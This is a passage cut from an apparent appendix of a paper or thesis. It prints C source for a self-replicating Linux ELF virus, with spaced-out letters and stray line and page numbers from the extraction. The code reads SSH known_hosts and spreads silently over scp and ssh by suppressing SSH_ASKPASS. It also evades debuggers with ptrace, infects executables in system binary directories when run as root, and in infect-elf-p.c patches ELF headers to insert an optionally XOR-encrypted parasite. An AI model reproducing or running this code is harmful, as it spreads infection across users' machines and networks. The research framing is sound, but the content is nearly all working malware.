c h a r buf [ 1 0 2 4 ] ;
630
int i = 0 , j = 0;
631
int s i z e ;
632
633
s i z e = r e a d ( fd , buf , s i z e o f ( buf ));
634
if ( s i z e < 0)
635
r e t u r n
-1;
636
637
/* go f o r t h e f i r s t n e w l i n e */
638
for ( i = 0; i < s i z e ; i ++) {
639
if ( buf [ i ] == ’ \ n ’ ) {
640
j = 0;
641
c o n t i n u e ;
642
}
643
if ( buf [ i ] == ’ , ’ ) {
644
h o s t [ j ] = 0;
645
r e t u r n 0;
646
}
647
h o s t [ j ++] = buf [ i ];
648
}
649
650
r e t u r n
-1;
651
}
652
653
# if d e f i n e d U _ S P R E A D || U N S U R E _ A B O U T _ L D _ P O I N T E R
654
/* r e t u r n s 0 on s u c c e s s a n d
-1 on e r r o r ;
655
* r e a d s / p r o c / s e l f / m a p s a n d f i n d s t h i s p r o c e s s ’ f i l e n a m e
656
*/
657
s t a t i c int f i n d _ f n a m e ( c o n s t c h a r * p r o c _ n a m e , c h a r * f n a m e )
658
{
659
c h a r buf [ R E A D _ B U F _ S I Z E ];
660
int i = 0 , j = 0;
661
int size , s t a r t = 0;
662
663
o p e n _ a n d _ r e a d _ f i l e ( p r o c _ n a m e , buf );
664
665
/* go f o r t h e f i r s t n e w l i n e */
666
for ( i = 0; i < s i z e ; i ++) {
667
if ( s t a r t != 0) {
668
if ( buf [ i ] == ’ \ n ’ ) {
669
f n a m e [ j ] = 0;
670
r e t u r n 0;
671
}
672
f n a m e [ j ++] = buf [ i ];
673
} e l s e if ( buf [ i ] == ’ / ’ ) {
674
s t a r t = 1;
/* f o u n d it ! */
675
f n a m e [ j ++] = buf [ i ];
676
}
677
}
678
679
r e t u r n
-1;
680
}
681
682
# e n d i f
683
684
s t a t i c v o i d d o _ s o m e t h i n g _ n a s t y ( c h a r ** c a l l e r _ a r g v , c h a r ** environ ,
685
c h a r * str , int r n v a l )
686
{
687
c h a r h o s t [ 1 0 2 4 ] ;
688
c h a r f n a m e [ 1 0 2 4 ] ;
689
int fd ;
690
p i d _ t pid ;
691
c h a r * home , * tmp ;
32
692
c h a r * a r g v [ 5 ] ;
693
694
/* if S S H _ A G E N T _ P I D is n o t p r e s e n t q u i t */
695
if ( l o c a l _ g e t e n v ( environ , ( c h a r *) U _ S P R E A D _ S S H _ A G E N T ( str ) ,
696
U _ S P R E A D _ S S H _ A G E N T _ S I Z E ) == 0)
697
r e t u r n ;
698
699
/* n o w we w i l l o p e n k n o w n _ h o s t s a n d r e a d h o s t n a m e s f r o m t h e r e .
700
*/
701
h o m e =
702
l o c a l _ g e t e n v ( environ , ( c h a r *) U _ S P R E A D _ H O M E ( str ) ,
703
U _ S P R E A D _ H O M E _ S I Z E );
704
if ( h o m e != N U L L )
705
c h d i r ( h o m e );
706
707
/* H e r e we c o n t i n u e
b e c a u s e m a y b e t h e u s e r is a l r e a d y in
708
* h i s h o m e d i r e c t o r y , e v e n if t h e H O M E v a r i a b l e is n o t s e t .
709
*/
710
711
/* a d d S S H _ A S K P A S S =/ d e v / n u l l to o u r e n v i r o n m e n t ,
712
* so t h e u s e r w i l l n o t n o t i c e
a n y t h i n g . H m m m we o v e r w r i t e
s o m e t h i n g .
713
*/
714
e n v i r o n [0] = U _ S P R E A D _ S S H _ A S K P A S S ( str );
715
716
fd = o p e n ( U _ S P R E A D _ S S H _ H O S T S ( str ) , O _ R D O N L Y , 0);
717
if ( fd < 0)
718
r e t u r n ;
719
720
w h i l e (1) {
721
c h a r d e s t [ 2 5 6 ] ;
722
int i , j ;
723
724
if ( r e a d _ n e x t _ e n t r y ( fd , h o s t ) < 0)
725
g o t o e r r o r ;
726
727
/* r a n d o m i z e t h i s s t u f f a b i t . D o n ’ t c o n n e c t
728
* e v e r y w h e r e a n d m a k e a f u s s .
729
*/
730
r n v a l = p r n _ d o ( r n v a l );
731
if ( r n v a l % 5 != 0) c o n t i n u e ;
732
733
a r g v [0] = U _ S P R E A D _ S C P _ B I N ( str );
734
735
if ( f i n d _ f n a m e ( U _ S P R E A D _ P R O C ( str ) , f n a m e ) == 0)
736
a r g v [1] = f n a m e ;
737
e l s e
738
a r g v [1] = c a l l e r _ a r g v [ 0 ] ;
739
740
/* m a k e t h e d e s t i n a t i o n n a m e : h o s t . n a m e : . / c . o u t
741
* no s t r c p y () or s t r c a t () a v a i l a b l e :(
742
*/
743
i = 0;
744
w h i l e ( h o s t [ i ] != 0) {
745
d e s t [ i ] = h o s t [ i ];
746
i ++;
747
}
748
j = 0;
749
d e s t [ i ++] = ’ : ’ ;
750
tmp = U _ S P R E A D _ C O U T ( str );
751
w h i l e ( tmp [ j ] != 0) {
752
d e s t [ i ] = tmp [ j ];
753
i ++;
754
j ++;
755
}
756
757
a r g v [2] = d e s t ;
758
a r g v [3] = N U L L ;
33
759
760
pid = f o r k ();
761
if ( pid ==
-1)
762
g o t o e r r o r ;
763
764
if ( pid == 0) {
765
int s t a t u s ;
766
767
c l o s e ( fd );
768
769
/* s s h d o e s n o t l i k e h a v i n g c l o s e d
d e s c r i p t o r s so
770
* l e t ’ s g i v e it / d e v / n u l l
771
*/
772
fd = o p e n ( U _ S P R E A D _ D E V _ N U L L ( str ) , O_RDWR , 0);
773
if ( fd >= 0) {
774
d u p 2 ( fd , 0);
775
d u p 2 ( fd , 1);
776
d u p 2 ( fd , 2);
777
} e l s e {
778
c l o s e ( 0 ) ;
/* s t d i n */
779
c l o s e ( 1 ) ;
/* s t d o u t */
780
c l o s e ( 2 ) ;
/* s t d e r r */
781
}
782
783
/* f o r g e t a b o u t o u r t t y
784
*/
785
if ( s e t s i d () < 0)
786
_ e x i t ( 1 ) ;
787
788
pid = f o r k ();
789
if ( pid ==
-1)
790
_ e x i t ( 1 ) ;
791
792
if ( pid == 0) {
/* c o p y o u r f i l e */
793
e x e c v e ( a r g v [0] , argv , e n v i r o n );
794
}
795
if ( w a i t p i d ( -1 , & status , 0) < 0)
796
_ e x i t ( 1 ) ;
797
if ( _ _ W E X I T S T A T U S ( s t a t u s ) != 0)
798
_ e x i t ( 1 ) ;
799
/* e x e c u t e a n d d e l e t e t h e f i l e we c o p i e d ! */
800
a r g v [0] = U _ S P R E A D _ S S H _ B I N ( str );
801
a r g v [1] = h o s t ;
802
a r g v [2] = U _ S P R E A D _ S S H _ C O M M 1 ( str );
803
a r g v [3] = U _ S P R E A D _ S S H _ C O M M 2 ( str );
804
a r g v [4] = N U L L ;
805
e x e c v e ( a r g v [0] , argv , e n v i r o n );
806
}
807
}
808
809
e r r o r :
810
811
c l o s e ( fd );
812
r e t u r n ;
813
814
}
815
# e n d i f
816
817
# i f d e f A N T I _ D E B U G
818
/* R e t u r n s 0 if we a r e a r e c l e a r to go a n d n o b o d y
819
* w a t c h e s .
820
*
821
* A c t u a l l y we f o r k a n d c h e c k if we c a n t r a c e o u r p a r e n t .
822
* If we c a n n o t t r a c e h i m t h e n he is b e i n g t r a c e d by s o m e b o d y
823
* e l s e ! O t h e r w i s e we d e t a c h f r o m h i m a n d e x i t .
824
*
825
* It is q u i t e
s u s p i c i o u s f o r s o m e b o d y to s e e a r a n d o m p r o c e s s to
34
826
* fork , b u t it s e e m s to be t h e b e s t we c a n do .
827
*
828
* T h e i d e a w a s t a k e n f r o m a w o r m w r i t t e n by M i c h a e l
Z a l e w s k i .
829
*/
830
i n l i n e s t a t i c int c h e c k _ f o r _ d e b u g g e r ( v o i d )
831
{
832
p i d _ t pid ;
833
int s t a t u s ;
834
835
pid = f o r k ();
836
837
if ( pid = = 0 ) { /* c h i l d */
838
p i d _ t p a r e n t ;
839
840
p a r e n t = g e t p p i d ();
841
if ( p t r a c e ( P T R A C E _ A T T A C H , parent , 0 , 0) < 0) {
842
/* n o t i f y o u r p a r e n t */
843
_ e x i t ( 1 ) ;
844
}
845
p t r a c e ( P T R A C E _ D E T A C H , parent , 0 , 0);
846
_ e x i t ( 0 ) ;
847
}
848
849
if ( w a i t p i d ( -1 , & status , 0) < 0)
850
r e t u r n 1; /* s o m e t h i n g n a s t y h a p p e n e d */
851
852
r e t u r n _ _ W E X I T S T A T U S ( s t a t u s );
853
}
854
# e n d i f
855
856
int m a i n ()
857
{
858
859
c h a r d a t a [ 8 1 9 2 ] ;
860
c h a r v [ E L F _ P A G E _ S I Z E ];
861
c h a r * bin ;
862
int fd , dd , c u r d i r _ f d ;
863
int n ;
864
int y i n f e c t ;
865
int t r i e d = 0;
866
int rnval , b a s e _ m e m = -1;
867
# i f d e f U _ S P R E A D
868
c h a r ** environ , ** a r g v ;
869
# e n d i f
870
int m a x _ t r i e s ;
871
872
/* t h e v o l a t i l e
k e y w o r d is r e a l l y n e e d e d h e r e .
873
* h a v e to t h i n k w h y .
874
*/
875
876
/* t h e s e m u s t be p a t c h e d a f t e r m a n u a l
i n f e c t i o n
877
*/
878
879
/* p a r a s i t e
l e n g t h ; r e m a i n s t h e s a m e a c r o s s
i n f e c t i o n s */
880
v o l a t i l e int v l e n = s i z e o f ( P A R _ S T R I N G ) - 1;
881
882
/* In t h i s o f f s e t
r e l a t i v e l y to o u r s t a r t is t h e p o s i t i o n of t h e v a l u e of
883
* h _ s e e k _ p o s in t h e h o s t . */
884
v o l a t i l e l o n g v h o f f = P _ S E E K _ I N D E X ;
885
886
/* o f f s e t to w h e r e t h e p a r a s i t e ’ s h o s t e n t r y p o i n t is */
887
v o l a t i l e l o n g v h e n t r y = H _ I N D E X ;
888
889
/* o f f s e t to w h e r e t h e p a r a s i t e ’ s e n t r y p o i n t is ;
890
* t h i s a l s o r e m a i n s t h e s a m e */
891
v o l a t i l e l o n g v e n t r y = P _ E N T R Y ;
892
35
893
/* o u r p o s i t i o n in t h e h o s t w i l l be r e p l a c e d by t h e
894
* v i r u s w h e n i n f e c t i n g t h e n e x t h o s t */
895
v o l a t i l e l o n g h _ s e e k _ p o s = 0 x F A C F A C F A ;
896
897
# i f d e f A N T I _ D E B U G
898
/* d i s a l l o w
a n y o n e f r o m d e b u g g i n g us . T h i s is b a d
899
* i d e a s i n c e we g e t a s i g n a l a n d we c a n n o t e x e c ( ) . * & * # :(
900
*/
901
if ( c h e c k _ f o r _ d e b u g g e r () != 0) {
902
/* we a r e b e i n g t r a c e d */
903
asm ( " jmp v i r u s _ e x i t \ n " );
904
}
905
906
/* it m i g h t be b e t t e r to c h e c k o u r p a r e n t ’ s / p r o c / p i d / c m d l i n e
907
* a n d s e a r c h f o r s t r a c e of g d b . . .
908
*/
909
# e n d i f
910
911
r n v a l = p r n _ d o ( t i m e ( 0 ) ) ;
912
913
# i f d e f U _ S P R E A D
914
/* T r y to f i n d o u r e n v i r o n m e n t */
915
/* m o v e % e b p to a r g v */
916
asm ( " m o v l %% ebp , %0 " : " = r " ( a r g v ): /* n u l l */ : " % ebp " );
917
918
a r g v += V A R S _ P U S H E D + 2;
919
e n v i r o n = a r g v ;
920
921
/* s k i p t h e a r g v [] a r g u m e n t s a n d m o v e to e n v i r o n m e n t */
922
w h i l e (* e n v i r o n != 0)
923
e n v i r o n ++;
924
e n v i r o n ++;
925
926
/* g e t t h e e v i l s t r i n g s */
927
asm ( " jmp s t r _ e v i l \ n "
928
" a f t e r _ s t r _ e v i l :\ n "
929
" pop %% eax \ n "
930
" m o v l %% eax , %0 " : " = r " ( bin ): /* n u l l */ : " % eax " );
931
/* a c t u a l l y we do : s t r = ( c h a r *) % e a x ; */
932
933
d o _ s o m e t h i n g _ n a s t y ( argv , environ , bin /* s t r i n g s */ , r n v a l + 5 ) ;
934
# i f d e f U N S U R E _ A B O U T _ L D _ P O I N T E R
935
b a s e _ m e m = f i n d _ e l f _ m e m _ s t a r t ( U _ S P R E A D _ P R O C ( bin ));
936
# e n d i f
937
# e n d i f
938
939
# i f d e f L O C A L _ S P R E A D
940
/* c o p y o u r s e l f in v */
941
if ( b a s e _ m e m ==
-1)
942
b a s e _ m e m = E L F _ M E M _ S T A R T + h _ s e e k _ p o s ;
943
e l s e
944
b a s e _ m e m += h _ s e e k _ p o s ;
945
_ _ b u i l t i n _ m e m c p y ( v , ( c h a r *) b a s e _ m e m , v l e n );
946
947
/* g e t t h e "/ u s r / b i n \ 0 / u s r / s b i n \ 0 . " s t r i n g
a d d r e s s */
948
asm ( " jmp s t r _ b i n \ n "
949
" a f t e r _ s t r _ b i n :\ n "
950
" pop %% eax \ n "
951
" m o v l %% eax , %0 " : " = r " ( bin ): /* n u l l */ : " % eax " );
952
/* a c t u a l l y we do : b i n = ( c h a r *) % e a x ; */
953
954
/* k e e p a d e s c r i p t o r of t h e c u r r e n t
d i r e c t o r y in o r d e r to
955
/* r e t u r n to t h e s a m e d i r a f t e r w a r d s . . . We i n c r e a s e o u r
956
* s i z e t h a t w a y w i t h m o r e s y s t e m c a l l s b u t s e e m s u s e f u l .
957
*/
958
if (( c u r d i r _ f d = o p e n ( D I R _ D O T ( bin ) , O _ R D O N L Y , 0)) < 0)
959
g o t o e r r o r ;
36
960
961
/* w h e n r o o t s e a r c h t h e s t a n d a r d
d i r e c t o r i e s . . .
962
* o t h e r w i s e o n l y t h e c u r r e n t o n e .
963
*/
964
965
if ( g e t u i d () == 0) {
966
s w i t c h ( r n v a l % 4) {
967
c a s e 0:
968
bin = D I R _ U S R _ B I N ( bin );
969
b r e a k ;
970
c a s e 1:
971
bin = D I R _ B I N ( bin );
972
b r e a k ;
973
c a s e 2:
974
bin = D I R _ U S R _ S B I N ( bin );
975
b r e a k ;
976
c a s e 3:
977
bin = D I R _ S B I N ( bin );
978
b r e a k ;
979
}
980
} e l s e {
981
/* s e a r c h t h e c u r r e n t
d i r e c t o r y o n l y */
982
bin = D I R _ D O T ( bin );
983
}
984
985
/* c h a n g e o u r d i r e c t o r y to t h e e x e c u t a b l e ’ s d i r e c t o r y */
986
if (( dd = o p e n ( bin , O _ R D O N L Y , 0)) < 0)
987
g o t o e r r o r ;
988
989
if ( f c h d i r ( dd ) != 0)
990
g o t o e r r o r ;
991
992
993
/* h o w m a n y f i l e s to t r y o p e n i n g . W h e n o u r s i z e is l a r g e t r y
994
* m o r e f i l e s . It c o u l d be o p t i m i z e d by p u t t i n g t h i s to t h e
995
* p r e p r o c e s s o r , b u t t h e c o m p i l e r s e e m s to do t h e r i g h t t h i n g h e r e .
996
*/
997
if ( s i z e o f ( P A R _ S T R I N G ) < ( 5 1 2 + E L F _ P A G E _ S I Z E / 2 ) )
998
m a x _ t r i e s = 1 2 8 ;
999
e l s e m a x _ t r i e s = 1 0 2 4 ;
1000
1001
y i n f e c t = 0;
1002
n = g e t d e n t s ( dd , ( s t r u c t d i r e n t *) data , s i z e o f ( d a t a ));
1003
if ( n > 0) {
1004
s t r u c t d i r e n t * d i r p = ( s t r u c t d i r e n t *) d a t a ;
1005
int r = 0;
1006
1007
w h i l e ( t r i e d < m a x _ t r i e s && y i n f e c t < Y I N F E C T ) {
1008
s t r u c t d i r e n t d i r e n t ;
1009
int i ;
1010
1011
r n v a l = p r n _ d o ( r n v a l );
1012
1013
t r i e d ++;
1014
1015
/* 1 o u t of 5 t i m e s we w i l l e n t e r a s u b d i r e c t o r y
1016
*/
1017
if ( r n v a l % 5 == 0 &&
1018
( dirp - > d _ n a m e [0] != ’ . ’ || dirp - > d _ n a m e [1] != ’ \0 ’ )) {
1019
fd = o p e n ( dirp - > d_name , O _ D I R E C T O R Y | O _ R D O N L Y , 0);
1020
1021
if ( fd >= 0) {
1022
c l o s e ( dd );
1023
dd = fd ;
1024
if ( f c h d i r ( dd ) != 0)
1025
g o t o e r r o r ;
1026
_ _ b u i l t i n _ m e m s e t ( data , 0 , s i z e o f ( d a t a ));
37
1027
1028
n = g e t d e n t s ( dd , ( s t r u c t d i r e n t *) data , s i z e o f ( d a t a ));
1029
if ( n <= 0) b r e a k ;
1030
/* i g n o r e t h e
’. ’ d i r e c t o r y */
1031
r =0;
1032
d i r p = ( s t r u c t d i r e n t *) d a t a ;
1033
}
1034
}
1035
1036
fd = o p e n ( dirp - > d_name , O_RDWR , 0);
1037
/* in c a s e s w h e r e we c a n n o t o p e n t h e f i l e s do n o t b l o c k
1038
*/
1039
if ( fd >= 0) {
1040
if ( g e t d e n t s ( fd , & dirent , s i z e o f ( d i r e n t )) < 0) {
1041
if ( i n f e c t _ e l f ( dirp - > d_name , fd ,
1042
v , vlen , vhentry , ventry , vhoff ,
1043
r n v a l )) {
1044
y i n f e c t ++;
1045
}
1046
c l o s e ( fd );
1047
}
1048
}
1049
1050
i = 0;
1051
w h i l e ( i ++ < r n v a l ) {
1052
r += dirp - > d _ r e c l e n ;
1053
1054
if ( r >= n ) {
1055
r = 0;}
1056
d i r p = ( s t r u c t d i r e n t *) & d a t a [ r ];
1057
}
1058
}
1059
}
1060
1061
c l o s e ( dd );
1062
fd = -1;
1063
1064
e r r o r :
1065
if ( fd >= 0)
1066
c l o s e ( fd );
1067
1068
/* m o v e b a c k to t h e i n i t i a l
d i r e c t o r y .
1069
*/
1070
if ( c u r d i r _ f d
>= 0) {
1071
f c h d i r ( c u r d i r _ f d );
1072
c l o s e ( c u r d i r _ f d );
1073
}
1074
1075
# e n d i f
/* L O C A L _ S P R E A D */
1076
1077
asm ( " v i r u s _ e x i t :\ n "
1078
" jmp l o o p 1 \ n "
1079
/* l o c a l l y u s e d s t r i n g s :
1080
*/
1081
# i f d e f L O C A L _ S P R E A D
1082
" s t r _ b i n :\ n " " c a l l a f t e r _ s t r _ b i n \ n "
1083
" . s t r i n g \" " S T R _ D I R " \"\ n "
1084
# e n d i f
1085
# i f d e f U _ S P R E A D
1086
" s t r _ e v i l :\ n "
1087
" c a l l a f t e r _ s t r _ e v i l \ n "
1088
" . s t r i n g \" " S T R _ U _ S P R E A D " \"\ n "
1089
# e n d i f
1090
/* r e s t o r e t h e s a v e d r e g i s t e r s .
1091
*/
1092
" l o o p 1 :\ n "
1093
" p o p l % eax \ n "
38
1094
" c m p l $ " M A G I C " , % eax \ n "
1095
" jne l o o p 1 \ n "
1096
" p o p l % edx \ n "
1097
" p o p l % ecx \ n "
1098
" p o p l % ebx \ n "
1099
" p o p l % eax \ n "
1100
" p o p l % esi \ n "
1101
" p o p l % edi \ n "
1102
" p o p l % ebp \ n "
1103
" p o p l % esp \ n "
1104
/* j u m p to o u r h o s t
1105
*/
1106
" m o v l $ 0 x 1 1 1 1 2 2 2 2 , % ebp \ n "
1107
" jmp *% ebp \ n "
1108
/* m a r k to f i n d o u r e n d i n g p o i n t .
1109
* be c a r e f u l l h e r e . S o m e c o m p i l e r s ( gcc - 3 . 0 ) m a y p u t d a t a
1110
* a f t e r t h i s p o i n t .
1111
*/
1112
" m o v l $ 0 x D E A D C A F E , % eax \ n " );
1113
}
C.6
infect-elf-p.c
1
# i n c l u d e < s t d i o . h >
2
# i n c l u d e < s t d l i b . h >
3
# i n c l u d e < s t r i n g . h >
4
# i n c l u d e < sys / t y p e s . h >
5
# i n c l u d e < sys / s t a t . h >
6
# i n c l u d e < s t r i n g . h >
7
# i n c l u d e < f c n t l . h >
8
# i n c l u d e < u n i s t d . h >
9
# i n c l u d e < l i n u x / elf . h >
10
11
# d e f i n e E L F _ P A G E _ S I Z E
4 0 9 6
12
13
# i n c l u d e " c o m m o n . h "
14
# i n c l u d e " p a r a s i t e . h "
15
# i n c l u d e " d e c o d e r . h "
16
17
18
/* t h e s e a r e d e c l a r e d in p a r a s i t e . c */
19
20
e x t e r n c h a r p a r a s i t e [];
21
e x t e r n int p l e n g t h ;
22
e x t e r n l o n g h e n t r y ;
23
e x t e r n l o n g e n t r y ;
24
25
v o i d c o p y _ p a r t i a l ( int fd , int od , u n s i g n e d int len )
26
{
27
c h a r i d a t a [ E L F _ P A G E _ S I Z E ];
28
u n s i g n e d int n = 0;
29
int r ;
30
31
w h i l e ( n + E L F _ P A G E _ S I Z E < len ) {
32
if ( r e a d ( fd , idata , E L F _ P A G E _ S I Z E ) != E L F _ P A G E _ S I Z E ) {;
33
p e r r o r ( " r e a d " );
34
e x i t ( 1 ) ;
35
}
36
37
if ( w r i t e ( od , idata , E L F _ P A G E _ S I Z E ) < 0) {
38
p e r r o r ( " w r i t e " );
39
e x i t ( 1 ) ;
40
}
41
42
n += E L F _ P A G E _ S I Z E ;
39
43
}
44
45
r = r e a d ( fd , idata , len - n );
46
if ( r < 0) {
47
p e r r o r ( " r e a d " );
48
e x i t ( 1 ) ;
49
}
50
51
if ( w r i t e ( od , idata , r ) < 0) {
52
p e r r o r ( " w r i t e " );
53
e x i t ( 1 ) ;
54
}
55
}
56
57
v o i d m e m x o r ( int * mem , int c , int s i z e )
58
{
59
int i ;
60
for ( i = 0; i < s i z e / s i z e o f ( int ); i ++)
61
mem [ i ] ^= c ;
62
if (( i * s i z e o f ( int )) < s i z e ) mem [ i ] ^= c ;
63
}
64
65
v o i d i n f e c t _ e l f ( c h a r * f i l e n a m e , c h a r * para_v , int len , int h_index , int e )
66
{
67
E l f 3 2 _ S h d r * s h d r ;
68
E l f 3 2 _ P h d r * p h d r ;
69
E l f 3 2 _ E h d r e h d r ;
70
int i , he ;
71
int offset , oshoff , pos ;
72
int e v a d d r ;
73
int slen , p l e n ;
74
int fd , od ;
75
c h a r * sdata , * p d a t a ;
76
c h a r i d a t a [ E L F _ P A G E _ S I Z E ];
77
c h a r t m p f i l e n a m e [] = " infect - elf - p . tmp " ;
78
s t r u c t s t a t s t a t ;
79
80
fd = o p e n ( f i l e n a m e , O _ R D O N L Y );
81
if ( fd < 0) {
82
p e r r o r ( " o p e n " );
83
e x i t ( 1 ) ;
84
}
85
86
/* r e a d t h e e h d r */
87
88
if ( r e a d ( fd , & ehdr , s i z e o f ( e h d r )) != s i z e o f ( e h d r )) {
89
p e r r o r ( " r e a d " );
90
e x i t ( 1 ) ;
91
}
92
93
/* E L F c h e c k s */
94
95
if ( s t r n c m p ( e h d r . e_ident , ELFMAG , S E L F M A G )) {
96
f p r i n t f ( stderr , " F i l e not ELF \ n " );
97
e x i t ( 1 ) ;
98
}
99
100
if ( e h d r . e _ t y p e != E T _ E X E C && e h d r . e _ t y p e != E T _ D Y N ) {
101
f p r i n t f ( stderr , " ELF t y p e not E T _ E X E C or E T _ D Y N \ n " );
102
e x i t ( 1 ) ;
103
}
104
105
if ( e h d r . e _ m a c h i n e != E M _ 3 8 6 && e h d r . e _ m a c h i n e != E M _ 4 8 6 ) {
106
f p r i n t f ( stderr , " ELF m a c h i n e t y p e not E M _ 3 8 6 or E M _ 4 8 6 \ n " );
107
e x i t ( 1 ) ;
108
}
109
40
110
if ( e h d r . e _ v e r s i o n != E V _ C U R R E N T ) {
111
f p r i n t f ( stderr , " ELF v e r s i o n not c u r r e n t \ n " );
112
e x i t ( 1 ) ;
113
}
114
115
/* m o d i f y t h e p a r a s i t e so t h a t it k n o w s t h e c o r r e c t re - e n t r y p o i n t */
116
117
/* c a l c u l a t e t h e d i f f e r e n c e
b e t w e e n
p a r a s i t e e n t r y a n d h o s t e n t r y */
118
he = h _ i n d e x ;
119
p r i n t f ( " P a r a s i t e l e n g t h : % i , "
120
" H o s t e n t r y p o i n t i n d e x : % i , "
121
" E n t r y p o i n t o f f s e t : % i " " \ n " , len , he , e );
122
p r i n t f ( " H o s t e n t r y p o i n t : 0 x % x \ n " , e h d r . e _ e n t r y );
123
if ( he )
124
*( int *) & p a r a _ v [ he ] = e h d r . e _ e n t r y ;
125
126
/* a l l o c a t e
m e m o r y f o r p h d r t a b l e s */
127
128
p d a t a = ( c h a r *) m a l l o c ( p l e n = s i z e o f (* p h d r ) * e h d r . e _ p h n u m );
129
if ( p d a t a == N U L L ) {
130
p e r r o r ( " m a l l o c " );
131
e x i t ( 1 ) ;
132
}
133
134
/* r e a d t h e p h d r ’ s */
135
136
if ( l s e e k ( fd , e h d r . e_phoff , S E E K _ S E T ) < 0) {
137
p e r r o r ( " l s e e k " );
138
e x i t ( 1 ) ;
139
}
140
141
if ( r e a d ( fd , pdata , p l e n ) != p l e n ) {
142
p e r r o r ( " r e a d " );
143
e x i t ( 1 ) ;
144
}
145
146
/*
147
u p d a t e t h e p h d r ’ s to r e f l e c t t h e e x t e n t i o n of t h e t e x t s e g m e n t ( to
148
a l l o w v i r u s
i n s e r t i o n )
149
*/
150
151
o f f s e t = 0;
152
153
for ( p h d r = ( E l f 3 2 _ P h d r *) pdata , i = 0; i < e h d r . e _ p h n u m ; i ++) {
154
if ( o f f s e t ) {
155
phdr - > p _ o f f s e t += E L F _ P A G E _ S I Z E ;
156
} e l s e if ( phdr - > p _ t y p e == P T _ L O A D && phdr - > p _ o f f s e t == 0) {
157
/* is t h i s t h e t e x t s e g m e n t ? */
158
int p l e n ;
159
160
if ( phdr - > p _ f i l e s z != phdr - > p _ m e m s z ) {
161
f p r i n t f ( stderr ,
162
" f i l e s z = % i m e m s z = % i \ n " ,
163
phdr - > p _ f i l e s z , phdr - > p _ m e m s z );
164
e x i t ( 1 ) ;
165
}
166
167
e v a d d r = phdr - > p _ v a d d r + phdr - > p _ f i l e s z ;
168
p l e n = E L F _ P A G E _ S I Z E - ( e v a d d r & ( E L F _ P A G E _ S I Z E - 1 ) ) ;
169
170
p r i n t f ( " P a d d i n g l e n g t h : % i \ n " , p l e n );
171
172
if ( p l e n < len ) {
173
f p r i n t f ( stderr , " P a r a s i t e too l a r g e \ n " );
174
e x i t ( 1 ) ;
175
}
176
41
177
e h d r . e _ e n t r y = e v a d d r + e ;
178
p r i n t f ( " New e n t r y p o i n t : 0 x % x \ n " , e h d r . e _ e n t r y );
179
180
o f f s e t = phdr - > p _ o f f s e t + phdr - > p _ f i l e s z ;
181
182
p r i n t f ( " P a r a s i t e f i l e o f f s e t : % i \ n " , o f f s e t );
183
*( int *) & p a r a _ v [ P _ S E E K _ I N D E X ] = o f f s e t ;
184
185
phdr - > p _ f i l e s z += len ;
186
phdr - > p _ m e m s z += len ;
187
}
188
189
++ p h d r ;
190
}
191
192
if ( o f f s e t == 0) {
193
f p r i n t f ( stderr , " No t e x t s e g m e n t ? " );
194
e x i t ( 1 ) ;
195
}
196
197
/* a l l o c a t e d
m e m o r y if r e q u i r e d to a c c o m o d a t e t h e s h d r t a b l e s */
198
199
s d a t a = ( c h a r *) m a l l o c ( s l e n = s i z e o f (* s h d r ) * e h d r . e _ s h n u m );
200
if ( s d a t a == N U L L ) {
201
p e r r o r ( " m a l l o c " );
202
e x i t ( 1 ) ;
203
}
204
205
/* r e a d t h e s h d r ’ s */
206
207
if ( l s e e k ( fd , e h d r . e_shoff , S E E K _ S E T ) < 0) {
208
p e r r o r ( " l s e e k " );
209
e x i t ( 1 ) ;
210
}
211
212
if ( r e a d ( fd , sdata , s l e n ) != s l e n ) {
213
p e r r o r ( " r e a d " );
214
e x i t ( 1 ) ;
215
}
216
217
/* u p d a t e t h e s h d r ’ s to r e f l e c t t h e i n s e r t i o n of t h e p a r a s i t e */
218
219
for ( s h d r = ( E l f 3 2 _ S h d r *) sdata , i = 0; i < e h d r . e _ s h n u m ; i ++) {
220
if ( shdr - > s h _ o f f s e t
>= o f f s e t ) {
221
shdr - > s h _ o f f s e t += E L F _ P A G E _ S I Z E ;
222
} e l s e if ( shdr - > s h _ a d d r + shdr - > s h _ s i z e == e v a d d r ) {
223
/* is t h i s t h e l a s t t e x t s e c t i o n ? */
224
shdr - > s h _ s i z e += len ;
225
}
226
227
++ s h d r ;
228
}
229
230
/* u p d a t e e h d r to r e f l e c t n e w o f f s e t s */
231
232
o s h o f f = e h d r . e _ s h o f f ;
233
if ( e h d r . e _ s h o f f
>= o f f s e t )
234
e h d r . e _ s h o f f += E L F _ P A G E _ S I Z E ;
235
236
/* i n s e r t t h e p a r a s i t e */
237
238
if ( f s t a t ( fd , & s t a t ) < 0) {
239
p e r r o r ( " f s t a t " );
240
e x i t ( 1 ) ;
241
}
242
243
od = o p e n ( t m p f i l e n a m e , O _ W R O N L Y | O _ C R E A T | O_TRUNC , s t a t . s t _ m o d e );
42
244
if ( od < 0) {
245
p e r r o r ( " w r i t e " );
246
e x i t ( 1 ) ;
247
}
248
249
250
/* R e c o n s t r u c t a c o p y of t h e E L F f i l e w i t h t h e p a r a s i t e */
251
252
if ( l s e e k ( fd , 0 , S E E K _ S E T ) < 0) {
253
p e r r o r ( " l s e e k " );
254
e x i t ( 1 ) ;
255
}
256
257
if ( w r i t e ( od , & ehdr , s i z e o f ( e h d r )) < 0) {
258
p e r r o r ( " w r i t e " );
259
e x i t ( 1 ) ;
260
}
261
262
if ( w r i t e ( od , pdata , p l e n ) < 0) {
263
p e r r o r ( " w r i t e " );
264
e x i t ( 1 ) ;
265
}
266
f r e e ( p d a t a );
267
268
if ( l s e e k ( fd , pos = s i z e o f ( e h d r ) + plen , S E E K _ S E T ) < 0) {
269
p e r r o r ( " l s e e k " );
270
e x i t ( 1 ) ;
271
}
272
273
c o p y _ p a r t i a l ( fd , od , o f f s e t - pos );
274
275
# i f d e f E N C R Y P T
276
277
*(( int *)& p a r a _ v [ D _ X O R _ I N D E X ]) = ( ( * ( ( int *)& p a r a _ v [ D _ X O R _ I N D E X ])) * t i m e ( 0 ) ) ;
278
m e m x o r (( int *)& p a r a _ v [ D _ S I Z E ] ,*(( int *)& p a r a _ v [ D _ X O R _ I N D E X ]) , len - D _ S I Z E );
279
280
281
f p r i n t f ( stderr , " d e c o d e r b y t e s : % d \ n " , D _ S I Z E );
282
f p r i n t f ( stderr , " d e f a u l t d e c o d e v a l u e : 0 x %.4 x \ n " ,
283
*(( u n s i g n e d int *)& p a r a _ v [ D _ X O R _ I N D E X ] ) ) ;
284
# e n d i f
285
if ( w r i t e ( od , para_v , len ) < 0) {
286
p e r r o r ( " w r i t e " );
287
e x i t ( 1 ) ;
288
}
289
290
m e m s e t ( idata , E L F _ P A G E _ S I Z E - len , 0);
291
